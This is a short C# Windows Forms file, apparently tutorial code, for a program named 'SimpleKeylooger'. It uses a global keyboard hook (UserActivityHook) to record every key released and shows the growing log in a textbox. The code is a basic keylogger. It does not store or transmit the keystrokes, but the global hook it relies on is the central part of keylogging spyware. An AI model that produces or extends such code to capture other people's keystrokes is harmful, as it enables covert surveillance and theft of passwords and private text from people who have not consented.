using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using WikiReader; //Include the UserActivityHook namespace namespace SimpleKeylooger { public partial class Form1 : Form { //Class that captures key strokes UserActivityHook hook = new UserActivityHook(); //String log string log = string.Empty; public Form1() { InitializeComponent(); //Key up event hook.KeyUp += (s, e) => { //Append to log log += e.KeyData.ToString(); //Update the textbox textBox1.Text = log; }; } } }